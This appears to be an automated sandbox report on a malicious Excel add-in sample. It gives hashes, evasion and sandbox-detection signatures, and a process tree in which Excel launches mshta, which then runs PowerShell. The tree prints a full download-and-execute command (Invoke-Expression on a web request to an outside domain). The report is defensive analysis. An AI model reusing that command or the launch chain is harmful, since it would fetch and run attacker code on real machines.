Analysis
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max time kernel
132s -
max time network
124s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
22/05/2024, 17:41
Static task
static1
Behavioral task
behavioral1
Sample
ba5e20606c939bb852ace08f41066c1118fd7c93f48f2c7f01356b2a8cfc920a.xll
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
ba5e20606c939bb852ace08f41066c1118fd7c93f48f2c7f01356b2a8cfc920a.xll
Resource
win11-20240508-en
General
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Target
ba5e20606c939bb852ace08f41066c1118fd7c93f48f2c7f01356b2a8cfc920a.xll
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Size
12KB
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MD5
1c3c588b721472e4355e29d88dc46be1
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SHA1
0b4fe2dafcc709ba8aea6f3bef4c1d8f734655a6
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SHA256
ba5e20606c939bb852ace08f41066c1118fd7c93f48f2c7f01356b2a8cfc920a
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SHA512
df5694bf51c1619f88b36adb39230ad88922bd364aee63af6d089147ce8d700a8cc6b91f7d22289c78ab38c9ae713c423f9eb5dd45d0cff26d855b7b41b5ac63
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SSDEEP
192:ZL29RBzDzeobchBj8JON4ONYHZOru1rEPEjr7AhL:529jnbcvYJOJQKu1vr7CL
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 844 3188 mshta.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 30 3056 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
pid Process 3188 EXCEL.EXE 3188 EXCEL.EXE -
pid Process 3056 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3188 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3056 powershell.exe 3056 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3056 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3188 EXCEL.EXE 3188 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE 3188 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3188 wrote to memory of 844 3188 EXCEL.EXE 87 PID 3188 wrote to memory of 844 3188 EXCEL.EXE 87 PID 3188 wrote to memory of 844 3188 EXCEL.EXE 87 PID 844 wrote to memory of 3056 844 mshta.exe 88 PID 844 wrote to memory of 3056 844 mshta.exe 88 PID 844 wrote to memory of 3056 844 mshta.exe 88
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ba5e20606c939bb852ace08f41066c1118fd7c93f48f2c7f01356b2a8cfc920a.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3188 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:844 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3056
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Temp\ba5e20606c939bb852ace08f41066c1118fd7c93f48f2c7f01356b2a8cfc920a.xll
Filesize12KB
MD51c3c588b721472e4355e29d88dc46be1
SHA10b4fe2dafcc709ba8aea6f3bef4c1d8f734655a6
SHA256ba5e20606c939bb852ace08f41066c1118fd7c93f48f2c7f01356b2a8cfc920a
SHA512df5694bf51c1619f88b36adb39230ad88922bd364aee63af6d089147ce8d700a8cc6b91f7d22289c78ab38c9ae713c423f9eb5dd45d0cff26d855b7b41b5ac63